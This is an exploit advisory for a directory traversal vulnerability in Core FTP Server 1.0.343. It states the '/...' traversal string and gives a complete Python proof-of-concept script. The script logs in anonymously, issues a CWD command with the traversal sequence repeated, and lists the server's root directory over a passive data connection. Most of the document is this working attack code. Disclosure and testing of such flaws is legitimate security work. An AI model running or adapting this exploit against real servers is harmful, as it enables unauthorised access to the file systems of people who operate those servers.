Core FTP Server 1.0.343 Directory Traversal

It's possible to navigate the local file system of a server running Core FTP Server 1.0.343 by using a specially crafted URL.

Exploit
/...

PoC
list_root.py

import sys, socket, re

host = 'localhost'
port = 21
user = 'anonymous'
password = 'a'

buffer_size = 8192
timeout = 8

def recv(s):
    resp = ''

    while 1:
        r = s.recv(buffer_size)
        if not r: break
        resp += r

    return resp

def list_root():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.settimeout(timeout)

        print s.recv(buffer_size)            

        s.send('USER ' + user + '\r\n')                   
        print s.recv(buffer_size)            

        s.send('PASS ' + password + '\r\n')               
        print s.recv(buffer_size) + s.recv(buffer_size)

        s.send('CWD ' + '/...' * 16 + '\r\n')

        resp = s.recv(buffer_size)

        print resp
        
        if resp[:3] == '250':
            s.send('PASV\r\n')                                   
            resp =  s.recv(buffer_size)

            print resp
            
            pasv_info = re.search(u'(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)', resp)

            if (pasv_info == None):
                print 'Invalid PASV response: ' + resp
                return            

            s.send('LIST\r\n')            

            s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s2.connect((host, int(pasv_info.group(5)) * 256 + int(pasv_info.group(6))))
            s2.settimeout(timeout)           

            print recv(s2)

        s.close()

    except Exception:        
        print sys.exc_info()

list_root()